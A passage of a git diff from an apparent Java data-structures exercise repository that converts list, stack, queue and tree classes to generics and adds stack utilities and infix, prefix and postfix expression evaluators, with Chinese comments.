-	public BinaryTreeNode getRight() {
-		return right;
-	}
-	public void setRight(BinaryTreeNode right) {
-		this.right = right;
-	}
-	
-	public BinaryTreeNode getParent() {
-		return parent;
-	}
-	public void setParent(BinaryTreeNode parent) {
-		this.parent = parent;
-	}
-}
+package com.coding.basic;
+public class BinaryTreeNode<E> {
+	
+	private E data;
+	//父节点
+	private BinaryTreeNode<E> parent;
+	private BinaryTreeNode<E> left;
+	private BinaryTreeNode<E> right;
+	
+	public E getData() {
+		return data;
+	}
+	public void setData(E data) {
+		this.data = data;
+	}
+	
+	public BinaryTreeNode<E> getLeft() {
+		return left;
+	}
+	public void setLeft(BinaryTreeNode<E> left) {
+		this.left = left;
+	}
+	
+	public BinaryTreeNode<E> getRight() {
+		return right;
+	}
+	public void setRight(BinaryTreeNode<E> right) {
+		this.right = right;
+	}
+	
+	public BinaryTreeNode<E> getParent() {
+		return parent;
+	}
+	public void setParent(BinaryTreeNode<E> parent) {
+		this.parent = parent;
+	}
+}
diff --git a/group12/2258659044/zj-2017/src/com/coding/basic/Iterator.java b/group12/2258659044/zj-2017/src/com/coding/basic/Iterator.java
index c854120212..d72c308c07 100644
--- a/group12/2258659044/zj-2017/src/com/coding/basic/Iterator.java
+++ b/group12/2258659044/zj-2017/src/com/coding/basic/Iterator.java
@@ -1,8 +1,8 @@
-package com.coding.basic;
-
-public interface Iterator {
-	
-	public boolean hasNext();
-	public Object next();
-
-}
+package com.coding.basic;
+
+public interface Iterator {
+	
+	public boolean hasNext();
+	public Object next();
+
+}
diff --git a/group12/2258659044/zj-2017/src/com/coding/basic/List.java b/group12/2258659044/zj-2017/src/com/coding/basic/List.java
index a5a3688eb6..7fd5915bae 100644
--- a/group12/2258659044/zj-2017/src/com/coding/basic/List.java
+++ b/group12/2258659044/zj-2017/src/com/coding/basic/List.java
@@ -1,10 +1,10 @@
-package com.coding.basic;
-
-public interface List {
-	
-	public void add(Object o);
-	public void add(int index, Object o);
-	public Object get(int index);
-	public Object remove(int index);
-	public int size();
+package com.coding.basic;
+
+public interface List<E> {
+	
+	public void add(E o);
+	public void add(int index, E o);
+	public E get(int index);
+	public E remove(int index);
+	public int size();
 }
\ No newline at end of file
diff --git a/group12/2258659044/zj-2017/src/com/coding/basic/Queue.java b/group12/2258659044/zj-2017/src/com/coding/basic/Queue.java
index aa8429ac59..169fc0dcb9 100644
--- a/group12/2258659044/zj-2017/src/com/coding/basic/Queue.java
+++ b/group12/2258659044/zj-2017/src/com/coding/basic/Queue.java
@@ -2,16 +2,16 @@
 
 import com.coding.basic.linklist.LinkedList;
 
-public class Queue {
+public class Queue<E> {
 	
-	private LinkedList element = new LinkedList();
+	private LinkedList<E> element = new LinkedList<E>();
 	
-	public void enQueue(Object o){	
+	public void enQueue(E o){	
 		
 		element.add(o);
 	}
 	
-	public Object deQueue(){
+	public E deQueue(){
 		
 		return element.removeFirst();
 	}
diff --git a/group12/2258659044/zj-2017/src/com/coding/basic/Stack.java b/group12/2258659044/zj-2017/src/com/coding/basic/Stack.java
deleted file mode 100644
index 2b08e856c1..0000000000
--- a/group12/2258659044/zj-2017/src/com/coding/basic/Stack.java
+++ /dev/null
@@ -1,30 +0,0 @@
-package com.coding.basic;
-
-import com.coding.basic.array.ArrayList;
-
-public class Stack {
-	
-	private ArrayList elementData = new ArrayList();
-	
-	public void push(Object o){	
-		
-		elementData.add(o);
-	}
-	
-	public Object pop(){
-		
-		return elementData.remove(size()-1);
-	}
-	
-	public Object peek(){
-		
-		return elementData.get(size()-1);
-	}
-	public boolean isEmpty(){
-
-		return size()==0;
-	}
-	public int size(){
-		return elementData.size();
-	}
-}
diff --git a/group12/2258659044/zj-2017/src/com/coding/basic/array/ArrayList.java b/group12/2258659044/zj-2017/src/com/coding/basic/array/ArrayList.java
index 4bbf60adf9..73f3b9649e 100644
--- a/group12/2258659044/zj-2017/src/com/coding/basic/array/ArrayList.java
+++ b/group12/2258659044/zj-2017/src/com/coding/basic/array/ArrayList.java
@@ -5,7 +5,7 @@
 import com.coding.basic.Iterator;
 import com.coding.basic.List;
 
-public class ArrayList implements List {
+public class ArrayList<E> implements List<E> {
 	
 	private int size = 0;	
 	/*扩容因子*/
@@ -15,12 +15,12 @@ public class ArrayList implements List {
 	/*扩容引用*/
 	private Object[] newElementData;
 	
-	public void add(Object o){
+	public void add(E o){
 		grow();
 		elementData[size] = o;		
 		size ++;
 	}
-	public void add(int index, Object o){
+	public void add(int index, E o){
 		
 		if(index<0||index>size){
 			throw new IndexOutOfBoundsException("Index: "+index+",Size:"+size);
@@ -36,19 +36,21 @@ public void add(int index, Object o){
 		size ++;
 	}
 	
-	public Object get(int index){
+	public E get(int index){
 		
-		if(index<0||index>size){
-			throw new IndexOutOfBoundsException("Index: "+index+",Size:"+size);
-		}
-		return elementData[index];
+		rangeCheck(index);
+		return elementData(index);
 	}
 	
-	public Object remove(int index){
+	public E remove(int index){
 		
-		Object o = elementData[index];
-		System.arraycopy(elementData, index+1, elementData, index, size-(index+1));		
-		size --;
+		rangeCheck(index);
+		E o = elementData(index);
+		int i = this.size - index - 1;
+		if (i > 0) {
+		    System.arraycopy(this.elementData, index + 1, this.elementData, index, i);
+		}
+		this.elementData[(--this.size)] = null;	
 		return o;
 	}
 	
@@ -74,6 +76,17 @@ private void grow(){
 		}		
 	}
 	
+	private void rangeCheck(int index) {
+		
+		if (index >= this.size) {
+			throw new IndexOutOfBoundsException("Index: "+index+",Size:"+size);
+		}
+	}
+	
+	@SuppressWarnings("unchecked")
+	E elementData(int index) {  
+	    return (E) elementData[index];  
+	}
 	
     public Iterator iterator(){
 		
diff --git a/group12/2258659044/zj-2017/src/com/coding/basic/array/ArrayUtil.java b/group12/2258659044/zj-2017/src/com/coding/basic/array/ArrayUtil.java
index de11fdbca5..0bd2cef66b 100644
--- a/group12/2258659044/zj-2017/src/com/coding/basic/array/ArrayUtil.java
+++ b/group12/2258659044/zj-2017/src/com/coding/basic/array/ArrayUtil.java
@@ -112,7 +112,7 @@ public int[] merge2(int[] array1, int[] array2){
 			bitmap[array2[i]]=true;		
 		}
 
-		ArrayList ls = new ArrayList();
+		ArrayList<Integer> ls = new ArrayList<>();
 		for (int i = 0; i < bitmap.length; i++) {
 			if(bitmap[i]==true){
 				ls.add(i);
@@ -149,7 +149,7 @@ public int[] fibonacci(int max){
 		int[] array = {};
 		if(max <= 1)return array;	
 		//生成 斐波那契数列的ArrayList集合
-	    ArrayList ls = new ArrayList();
+	    ArrayList<Integer> ls = new ArrayList<>();
 	    ls.add(1);ls.add(1);	    
 		int next;int i = 1;				
 		while(true){
@@ -171,7 +171,7 @@ public int[] fibonacci(int max){
 	 */
 	public int[] getPrimes(int max){
 
-		ArrayList primesList = new ArrayList();
+		ArrayList<Integer> primesList = new ArrayList<>();
 		boolean flag;
 		for (int i = 2; i < max; i++) {
 			flag = false;
@@ -197,7 +197,7 @@ public int[] getPrimes(int max){
 	public int[] getPerfectNumbers(int max){
 		
 		int temp;
-		ArrayList perfectList = new ArrayList();
+		ArrayList<Integer> perfectList = new ArrayList<Integer>();
 		for (int i = 6; i <= max; i++) {
 			temp = 0;
 			for (int j = 1; j <= (i/2); j++) {
@@ -234,7 +234,7 @@ public String join(int[] array, String seperator){
 	 * @param ls
 	 * @return
 	 */
-	public int[] objList2int(ArrayList ls){
+	public int[] objList2int(ArrayList<Integer> ls){
 		
 		Object[] objArr = ls.toArray();
 		int[] array = new int[ls.size()];
diff --git a/group12/2258659044/zj-2017/src/com/coding/basic/linklist/LinkedList.java b/group12/2258659044/zj-2017/src/com/coding/basic/linklist/LinkedList.java
index 0132efaa00..5ee8881fa0 100644
--- a/group12/2258659044/zj-2017/src/com/coding/basic/linklist/LinkedList.java
+++ b/group12/2258659044/zj-2017/src/com/coding/basic/linklist/LinkedList.java
@@ -4,57 +4,57 @@
 
 import com.coding.basic.Iterator;
 import com.coding.basic.List;
-import com.coding.basic.Stack;
+import com.coding.basic.stack.Stack;
 
-public class LinkedList implements List {
+public class LinkedList<E> implements List<E> {
 	
-	private Node head;
+	private Node<E> head;
 	
 	private int size = 0;
 	
-	public void add(Object o){
+	public void add(E o){
 		
-		Node addNode = new Node();
+		Node<E> addNode = new Node<>();
 		addNode.data = o;
 	    if(size==0){	    	
 	    	head = addNode;
 	    }else{
 	    	//获取最后一个节点
-	    	Node lastNode = getPointNode(size-1);
+	    	Node<E> lastNode = getPointNode(size-1);
 	    	lastNode.next = addNode;	    		    	
 	    }
 	    size++;
 	}
-	public void add(int index , Object o){
+	public void add(int index , E o){
 		
-		Node addNode = new Node();
+		Node<E> addNode = new Node<>();
 		addNode.data = o;
 		if(index == 0){	//添加头结点		
 			addFirst(o);	
 	    }else if(index == size){//添加尾节点
         	addLast(o);
 		}else{//在投节点与尾部添加节点			
-			Node prePointNode = getPointNode(index-1);
-			Node pointNode = prePointNode.next;
+			Node<E>  prePointNode = getPointNode(index-1);
+			Node<E>  pointNode = prePointNode.next;
 			prePointNode.next = addNode;
 			addNode.next = pointNode;	
 			size ++;
 		}			
 	}
-	public Object get(int index){
+	public E get(int index){
 
-		Node node = getPointNode(index);
+		Node<E> node = getPointNode(index);
 		return node.data;
 	}
 	
-	public Object remove(int index){
+	public E remove(int index){
 		
-		Node pointNode = getPointNode(index);
-		Node nextPointNode = pointNode.next;
+		Node<E> pointNode = getPointNode(index);
+		Node<E> nextPointNode = pointNode.next;
 		if(index ==0){
 			head = nextPointNode;			 
 		}else{
-			Node prePointNode = getPointNode(index-1);			
+			Node<E> prePointNode = getPointNode(index-1);			
 			prePointNode.next = nextPointNode;
 		}						
 		size --;
@@ -65,10 +65,10 @@ public int size(){
 		return size;
 	}
 	
-	public void addFirst(Object o){	
+	public void addFirst(E o){	
 		
-		Node secondNode = head;	
-		head = new Node();
+		Node<E> secondNode = head;	
+		head = new Node<>();
 		head.data = o;
 		if(size>0){		
 			head.next = secondNode;
@@ -76,16 +76,16 @@ public void addFirst(Object o){
 		size ++;
 	}
 	
-	public void addLast(Object o){
+	public void addLast(E o){
 		add(o);
 	}
 	
-	public Object removeFirst(){
+	public E removeFirst(){
 
 		return remove(0);
 	}
 	
-	public Object removeLast(){
+	public E removeLast(){
 		
 		return remove(size-1);
 	}
@@ -118,21 +118,21 @@ public Object next() {
 	 * 获取指定的节点
 	 * @return
 	 */
-	private Node getPointNode(int index){
+	private Node<E> getPointNode(int index){
 
 		if(index<0||index>size){
 			throw new IndexOutOfBoundsException("Index: "+index+",Size:"+size+"");	
 		}
-		Node node = head;
+		Node<E> node = head;
 		for (int i = 0; i < index; i++) {
 			node = node.next;
 		}
 		return node;
 	}
 		
-	private static  class Node{
-		Object data;
-		Node next;
+	private static  class Node<E>{
+		E data;
+		Node<E> next;
 		
 	}	
 	
@@ -142,8 +142,8 @@ private static  class Node{
 	 */
 	public  void reverse(){	
 		
-		Stack stack = new Stack();
-		Node node;
+		Stack<E> stack = new Stack<E>();
+		Node<E> node;
 		//缓存原链表数据
 		for (node = head; node!=null;node = node.next) {
 			stack.push(node.data);
@@ -198,10 +198,10 @@ public  void remove(int i, int length){
 	 * 返回的结果应该是[101,301,401,601]  
 	 * @param list
 	 */
-	public int[] getElements(LinkedList list){
+	public int[] getElements(LinkedList<Integer> list){
 		int[] array = new int[list.size()];
 		for (int i = 0; i < array.length; i++) {
-			array[i] = (int) get((int)list.get(i));
+			array[i] = (int) get(list.get(i));
 		}
 		return array;
 	}
@@ -212,12 +212,11 @@ public int[] getElements(LinkedList list){
 	 * @param list
 	 */
 	
-	public  void subtract(LinkedList list){		
+	public  void subtract(LinkedList<E> list){		
 		for (int i = 0; i < size; i++) {
 			for (int j = 0; j < list.size(); j++) {
 				if(get(i).equals(list.get(j))){
 					remove(i);
-					i--;
 				}
 			}
 		}
@@ -259,13 +258,13 @@ public  void removeRange(int min, int max){
 	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
 	 * @param list
 	 */
-	public  LinkedList intersection( LinkedList list){
+	public  LinkedList<E> intersection( LinkedList<E> list){
 		
-		LinkedList newList = new LinkedList();
+		LinkedList<E> newList = new LinkedList<>();
 		for (int i = 0; i < size; i++) {
 			for (int j = 0; j < list.size(); j++) {
 				if(get(i).equals(list.get(j))){
-					newList.add(get(i));
+					newList.add((E)get(i));
 				}
 			}
 		}
diff --git a/group12/2258659044/zj-2017/src/com/coding/basic/stack/Stack.java b/group12/2258659044/zj-2017/src/com/coding/basic/stack/Stack.java
new file mode 100644
index 0000000000..f1ede1f8ab
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coding/basic/stack/Stack.java
@@ -0,0 +1,46 @@
+package com.coding.basic.stack;
+
+import com.coding.basic.array.ArrayList;
+
+public class Stack<E> {
+	
+	private ArrayList<E> elementData = new ArrayList<E>();
+	
+	public void push(E o){	
+		
+		elementData.add(o);
+	}
+	
+	public E pop(){
+		
+		return elementData.remove(size()-1);
+	}
+	
+	public E peek(){
+		
+		return elementData.get(size()-1);
+	}
+	public boolean isEmpty(){
+
+		return size()==0;
+	}
+	public int size(){
+		return elementData.size();
+	}
+	
+	@Override
+	public String toString() {
+		
+		StringBuffer sBuffer = new StringBuffer();
+		sBuffer.append("[");	
+		
+		for (int i = size()-1; i >= 0; i--) {
+			if(i == 0){
+				sBuffer.append(elementData.get(i)+"]");
+			}else{
+				sBuffer.append(elementData.get(i)+",");
+			}			
+		}
+		return sBuffer.toString();
+	}
+}
diff --git a/group12/2258659044/zj-2017/src/com/coding/basic/stack/StackUtil.java b/group12/2258659044/zj-2017/src/com/coding/basic/stack/StackUtil.java
new file mode 100644
index 0000000000..871b2fce69
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coding/basic/stack/StackUtil.java
@@ -0,0 +1,158 @@
+package com.coding.basic.stack;
+
+import java.util.HashMap;
+import java.util.Map;
+
+public class StackUtil {
+
+	private static Map<Character, Character> markMap;
+	
+	static {
+		//初始化括号对
+		markMap = new HashMap<Character, Character>();
+		markMap.put('(', ')');
+		markMap.put('[', ']');
+		markMap.put('{', '}');		
+	}
+	
+	/**
+	 * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * @param <E>
+	 */
+	public static <E> void reverse(Stack<E> s) {
+
+		if(s == null||s.isEmpty()){
+			return;
+		}				
+		E last = getBottom(s,s.pop());
+		reverse(s);
+		s.push(last);	
+	}
+	
+	/**
+	 * 获取栈底部数据
+	 * @param <E>
+	 * @param s
+	 * @return
+	 */
+	private static <E> E getBottom(Stack<E> s,E val){
+		
+		if(s.isEmpty()){
+			return val;
+		}		
+		E lst = getBottom(s,s.pop());
+		s.push(val);
+		return lst;
+	}
+
+	/**
+	 * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * @param <E>
+	 * 
+	 * @param o
+	 */
+	public static <E> void remove(Stack<E> s,E o) {
+		
+		if(s == null||s.isEmpty()){
+			return;
+		}			
+		E res = s.pop();
+		if(res.equals(o)){
+			return;
+		}
+		remove(s,o);
+		s.push(res);		
+	}
+		
+	/**
+	 * 从栈顶取得len个元素, 原来的栈中元素保持不变
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * @param <E>
+	 * @param len
+	 * @return
+	 */
+
+	public static <E> Object[] getTop(Stack<E> s,int len) {
+		
+		if(s == null||s.isEmpty()||len <= 0){
+			return null;
+		}
+		
+		//当len的长度大于栈s的长度时返回栈s全部数据
+		int size  = s.size()>=len? len:s.size();
+		
+		Object[] objs = new Object[size];
+		
+		putValueToArray(s,objs,0);
+		
+		return objs;
+	}
+	
+	/**
+	 * 将获取的元素放到数组中
+	 * @param <E>
+	 * @param s
+	 * @param objs
+	 * @param count
+	 */
+	public static <E> void putValueToArray(Stack<E> s,Object[] objs,int count){
+		
+		E res = s.pop();
+		count++;
+		objs[count-1] = res;
+		if(count== objs.length){
+			s.push(res);
+			return;
+		}
+		putValueToArray(s,objs,count);		
+		s.push(res);			
+	}
+	
+	/**
+	 * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
+	 * 使用堆栈检查字符串s中的括号是不是成对出现的。
+	 * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
+	 * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
+	 * @param s
+	 * @return
+	 */
+	public static boolean isValidPairs(String s){
+		
+		if(!validation(s)){
+			return false;
+		}
+		Stack<Character> markStack = new Stack<>();		
+		char[] charArr = s.toCharArray();	
+		for (int i = 0; i < charArr.length; i++) {
+			if(markMap.containsKey(charArr[i])){
+				markStack.push(charArr[i]);
+			}
+			if(markMap.containsValue(charArr[i])){				
+				if(markMap.get(markStack.pop()).equals(charArr[i])){
+					continue;
+				}else{
+					return false;
+				}
+			}
+		}
+		return markStack.size()==0;
+	}
+	
+	private static boolean validation(String s){
+		
+		if(s!=null&&s.length()>0){
+			if(s.contains("(")&&s.contains(")")){
+				return true;
+			}
+			if(s.contains("[")&&s.contains("]")){
+				return true;
+			}
+			if(s.contains("{")&&s.contains("}")){
+				return true;
+			}
+		}		
+		return false;
+	}
+	
+}
diff --git a/group12/2258659044/zj-2017/src/com/coding/basic/stack/expr/InfixExpr.java b/group12/2258659044/zj-2017/src/com/coding/basic/stack/expr/InfixExpr.java
new file mode 100644
index 0000000000..a02d03c861
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coding/basic/stack/expr/InfixExpr.java
@@ -0,0 +1,120 @@
+package com.coding.basic.stack.expr;
+
+import com.coding.basic.stack.Stack;
+import com.coding.basic.stack.StackUtil;
+import com.coding.basic.stack.expr.util.ExprIterator;
+import com.coding.basic.stack.expr.util.FixExprUtil;
+import com.coding.basic.stack.expr.util.Operator;
+
+public class InfixExpr {
+
+	String expr = null;
+	
+	public InfixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+
+		//数据栈
+		Stack<Float> dataStack = new Stack<>();
+		//操作栈
+		Stack<Operator> operStack = new Stack<>();
+		
+		parseExpr(dataStack,operStack);
+		
+		return summary(dataStack,operStack);
+	}
+
+	
+	/**
+	 * 拆分数据与运算符于两个栈中
+	 * 
+	 * @return
+	 */
+	private void parseExpr(Stack<Float> dataStack,Stack<Operator> operStack) {
+
+		ExprIterator it = new ExprIterator(expr);
+		while(it.hasNext()){
+			String element = it.next();
+			if (Operator.contains(element)) {
+				putOpersToStack(dataStack,operStack, element);
+			} else {
+				dataStack.push(Float.parseFloat(element));
+			}
+		}
+		validationLastOpers(dataStack,operStack);
+	}
+
+	/**
+	 * 检查最后一个操作符优先级与之前是否保持统一，
+	 * 若不统一则进行运算,使栈中运算符保持同一个优先级
+	 * @param stacks
+	 */	
+	private void validationLastOpers(Stack<Float> dataStack,Stack<Operator> operStack) {
+		
+		Object[] opers = StackUtil.getTop(operStack, 2);
+		Operator thisOper = (Operator) opers[0];
+		Operator preOper = (Operator) opers[1];
+		if(thisOper.getLevel()!=preOper.getLevel()){			
+			calculateToStack(dataStack,operStack,false);
+		}		
+	}
+
+	/**
+	 * 运算符压栈
+	 * @param stacks
+	 * @param c
+	 */
+	private void putOpersToStack(Stack<Float> dataStack,Stack<Operator> operStack, String c) {
+
+		Operator thisOper = Operator.getOperator(c);		
+		if (!operStack.isEmpty()) {
+			Operator preOper = operStack.peek();
+			if (preOper.getLevel() > thisOper.getLevel()) {	
+				calculateToStack(dataStack,operStack,false);
+			}
+		}
+		operStack.push(thisOper);
+	}
+	
+	/**
+	 * 运算距栈顶最近两个元素的值并压回原栈
+	 * @param stacks 
+	 * stacks[0]运算符,stacks[1]数据
+	 * @param isReverse 
+	 * 当isReversed为true时会交换两个元素的位置
+	 */
+	private void calculateToStack(Stack<Float> dataStack,Stack<Operator> operStack,boolean isReverse){
+				
+		float a,b;
+		if(isReverse){
+			a = dataStack.pop();
+			b = dataStack.pop();;
+		}else{
+			b = dataStack.pop();;
+			a = dataStack.pop();;
+		}
+				
+		Operator oper = operStack.pop();
+		float res = FixExprUtil.calculate(a,oper,b);
+		dataStack.push(res);
+	}
+
+	/**
+	 * 汇总结果
+	 * @param stacks
+	 * @return
+	 */
+	private float summary(Stack<Float> dataStack,Stack<Operator> operStack) {
+		
+		StackUtil.reverse(dataStack);
+		StackUtil.reverse(operStack);
+		
+		while (!operStack.isEmpty()) {
+			calculateToStack(dataStack,operStack,true);
+		}
+		return dataStack.pop();
+	}
+	
+}
diff --git a/group12/2258659044/zj-2017/src/com/coding/basic/stack/expr/PostfixExpr.java b/group12/2258659044/zj-2017/src/com/coding/basic/stack/expr/PostfixExpr.java
new file mode 100644
index 0000000000..cdd7605635
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coding/basic/stack/expr/PostfixExpr.java
@@ -0,0 +1,46 @@
+package com.coding.basic.stack.expr;
+
+import com.coding.basic.stack.Stack;
+import com.coding.basic.stack.expr.util.ExprIterator;
+import com.coding.basic.stack.expr.util.FixExprUtil;
+import com.coding.basic.stack.expr.util.Operator;
+
+public class PostfixExpr {
+
+	String expr = null;
+	
+	public PostfixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		
+		//数据栈
+		Stack<Float> dataStack = new Stack<>();
+		
+		parseExpr(dataStack,null);
+				
+		return dataStack.peek();
+	}
+	
+	/**
+	 * 解析表达式
+	 * @return
+	 */
+	private void parseExpr(Stack<Float> dataStack,Stack<Operator> operStack) {
+
+		ExprIterator it = new ExprIterator(expr);
+		float a,b,res;
+		while(it.hasNext()){
+			String element = it.next();
+			if (Operator.contains(element)) {
+				b = dataStack.pop();
+				a = dataStack.pop();
+				res = FixExprUtil.calculate(a, Operator.getOperator(element), b);
+				dataStack.push(res);
+			} else {
+				dataStack.push(Float.parseFloat(element));
+			}
+		}
+	}
+}
diff --git a/group12/2258659044/zj-2017/src/com/coding/basic/stack/expr/PrefixExpr.java b/group12/2258659044/zj-2017/src/com/coding/basic/stack/expr/PrefixExpr.java
new file mode 100644
index 0000000000..4a0b025cfe
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coding/basic/stack/expr/PrefixExpr.java
@@ -0,0 +1,47 @@
+package com.coding.basic.stack.expr;
+
+import com.coding.basic.stack.Stack;
+import com.coding.basic.stack.expr.util.ExprIterator;
+import com.coding.basic.stack.expr.util.FixExprUtil;
+import com.coding.basic.stack.expr.util.Operator;
+
+public class PrefixExpr {
+
+    String expr = null;
+	
+	public PrefixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		
+		//数据栈
+		Stack<Float> dataStack = new Stack<>();
+		
+		parseExpr(dataStack,null);
+		
+		return dataStack.peek();
+	}
+	
+	/**
+	 * 解析表达式
+	 * @return
+	 */
+	private void parseExpr(Stack<Float> dataStack,Stack<Operator> operStack) {
+
+		ExprIterator it = new ExprIterator(FixExprUtil.reverse(expr));
+		float a,b,res;
+		while(it.hasNext()){
+			String element = it.next();
+			if (Operator.contains(element)) {
+				a = dataStack.pop();
+				b = dataStack.pop();
+				res = FixExprUtil.calculate(a, Operator.getOperator(element), b);
+				dataStack.push(res);
+			} else {
+				dataStack.push(Float.parseFloat(element));
+			}
+		}
+	}
+	
+}
diff --git a/group12/2258659044/zj-2017/src/com/coding/basic/stack/expr/util/ExprIterator.java b/group12/2258659044/zj-2017/src/com/coding/basic/stack/expr/util/ExprIterator.java
new file mode 100644
index 0000000000..59efc0907d
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coding/basic/stack/expr/util/ExprIterator.java
@@ -0,0 +1,31 @@
+package com.coding.basic.stack.expr.util;
+
+import com.coding.basic.List;
+import com.coding.basic.array.ArrayList;
+
+/**
+ * 表达式迭代器
+ * @author zj
+ * @since 2017-4-17
+ */
+public class ExprIterator{
+
+	private List<String> data = new ArrayList<String>(); 
+	private int cursor;
+	
+	public ExprIterator(String expr){
+		this.data = FixExprUtil.FixExprToArray(expr);
+	}
+
+	public boolean hasNext() {
+		return cursor != (data.size());
+	}
+
+	public String next() {
+		
+		int i = cursor;
+		cursor = (i+1);
+		return data.get(i);
+	}
+	
+}
diff --git a/group12/2258659044/zj-2017/src/com/coding/basic/stack/expr/util/FixExprUtil.java b/group12/2258659044/zj-2017/src/com/coding/basic/stack/expr/util/FixExprUtil.java
new file mode 100644
index 0000000000..4f431f219d
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coding/basic/stack/expr/util/FixExprUtil.java
@@ -0,0 +1,174 @@
+package com.coding.basic.stack.expr.util;
+
+import java.util.regex.Pattern;
+
+import com.coding.basic.List;
+import com.coding.basic.array.ArrayList;
+import com.coding.basic.stack.Stack;
+
+public class FixExprUtil {
+	
+    private static String LEFTBRACKRT= "(";	
+	private static String RIGHTBRACKET= ")";
+	
+	/**
+	 * 运算
+	 * @param a 数字
+	 * @param oper 运算符
+	 * @param b 数字
+	 * @return
+	 */
+	public static  float calculate(float a,Operator oper,float b) {
+
+		String operFlag = oper.getFlag();
+
+		float res = 0f;
+		if (Operator.ADD.getFlag().equals(operFlag)) {
+			res = a + b;
+		} else if (Operator.SUB.getFlag().equals(operFlag)) {
+			res = a - b;
+		} else if (Operator.MULTY.getFlag().equals(operFlag)) {
+			res = a * b;
+		} else if (Operator.DIVIDE.getFlag().equals(operFlag)) {
+			res = a / b;
+		}
+		return res;
+	} 
+	
+	/**
+	 * 将字符串顺序逆置
+	 * @param str
+	 * @return
+	 */
+	public static String reverse(String expr){
+		
+		return new StringBuffer(expr).reverse().toString();		
+	}
+	
+	/**
+	 * 判断字符串是否为数字
+	 * 注意：不包括小数
+	 * @param str
+	 * @return
+	 */
+	public static boolean isNumeric(String str){
+		Pattern pattern = Pattern.compile("[0-9]*");
+	    return pattern.matcher(str).matches();    
+	}
+	
+	/**
+	 * 将中缀表达式装换为后缀表达式
+	 * @param expr
+	 * @return
+	 */
+	public static String InfixCovertToPostfix(String expr){
+		
+    	ExprIterator it = new ExprIterator(expr);   	
+		Stack<String> stack = new Stack<>();
+		List<String> postFixList = new ArrayList<String>();
+		
+		while(it.hasNext()){
+			
+			String element = it.next();
+			//数字直接输出
+			if(FixExprUtil.isNumeric(element)){
+				postFixList.add(element);
+			}else if(RIGHTBRACKET.equals(element)){//去除左右括号
+				do {
+					postFixList.add(stack.pop());
+				} while (!LEFTBRACKRT.equals(stack.pop()));
+			}else{
+				int preLevel = 0;
+				int thisLevel = Operator.getLevelByFlag(element);	
+				//当栈顶运算符优先级大于本次运算优先级时（左括号除外）出栈至栈顶优先级小于本次运算优先级
+				while(preLevel>thisLevel&&preLevel!=3&&!stack.isEmpty()){
+					String oprFlag = stack.pop();
+					preLevel = Operator.getLevelByFlag(oprFlag);
+					postFixList.add(oprFlag);
+				}
+				stack.push(element);
+			}
+			
+		}
+		//将栈中剩余元素出栈
+		while(!stack.isEmpty()){
+			postFixList.add(stack.pop());
+		}
+		//格式化输出
+		StringBuffer postFix = new StringBuffer();
+		for (int i = 0; i < postFixList.size(); i++) {
+			postFix.append(postFixList.get(i)+" ");
+		}
+		return postFix.toString();		
+	}
+	
+	/**
+	 * 中缀表达式转前缀表达式
+	 * @param expr
+	 * @return
+	 */
+	public static String InfixCovertToPrefix(String expr){
+		
+		String post = InfixCovertToPostfix(expr);
+		return reverse(post);
+	}
+	
+	/**
+	 * 后缀表达式转前缀表达式
+	 * @param expr
+	 * @return
+	 */
+	public static String postfixCovertToPrefix(String expr){
+		return reverse(expr);
+	}
+	
+	/**
+	 * 前缀表达式转后缀表达式
+	 * @param expr
+	 * @return
+	 */
+	public static String prefixCovertToPostfix(String expr){
+		return reverse(expr);
+	}
+	
+	/**
+	 * 将表达式字符串转换为List
+	 * @param expr
+	 * @return
+	 */
+	public static List<String> FixExprToArray(String expr){
+		
+		List<String> ls = new ArrayList<>();
+			
+		String[] strArr = expr.split(" ");
+		for (String str : strArr) {
+			parse(str,ls);
+		}
+		
+		return  ls;
+	}
+	
+	public static void parse(String str,List<String> ls){
+		
+		char[] chr = str.toCharArray();		
+		StringBuilder token = new StringBuilder();
+				
+		for (char c : chr) {
+			String element = String.valueOf(c);
+			if(Operator.contains(element)){
+				if(!"".equals(token.toString())){
+					ls.add(token.toString());
+					token = new StringBuilder();
+				}
+				ls.add(c+"");								
+			}else{
+				token.append(c);
+			}
+		}
+		if(!"".equals(token.toString())){
+			ls.add(token.toString());
+		}
+
+	}
+	
+}
diff --git a/group12/2258659044/zj-2017/src/com/coding/basic/stack/expr/util/Operator.java b/group12/2258659044/zj-2017/src/com/coding/basic/stack/expr/util/Operator.java
new file mode 100644
index 0000000000..3e76c3b805
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coding/basic/stack/expr/util/Operator.java
@@ -0,0 +1,70 @@
+package com.coding.basic.stack.expr.util;
+
+public enum Operator {
+	
+	ADD("+",1),SUB("-",1),MULTY("*",2),DIVIDE("/",2)
+	,LEFTBRACKRT("(",3),RIGHTBRACKET(")",3);
+	
+	private String flag;
+	private int level;
+	
+	private Operator(String flag,int level){
+		this.flag = flag;
+		this.level = level;
+	}
+
+	public static int getLevelByFlag(String flag){
+		
+		Operator[] opers = Operator.values();
+		for (Operator operator : opers) {
+			if(operator.flag.equals(flag)){
+				return operator.level;
+			}
+		}
+		return -1;
+	}
+	
+    public static Operator getOperator(String flag){
+		
+    	if(ADD.flag.equals(flag)){
+    		return ADD;
+    	}else if(SUB.flag.equals(flag)){
+    		return SUB;
+    	}else if(MULTY.flag.equals(flag)){
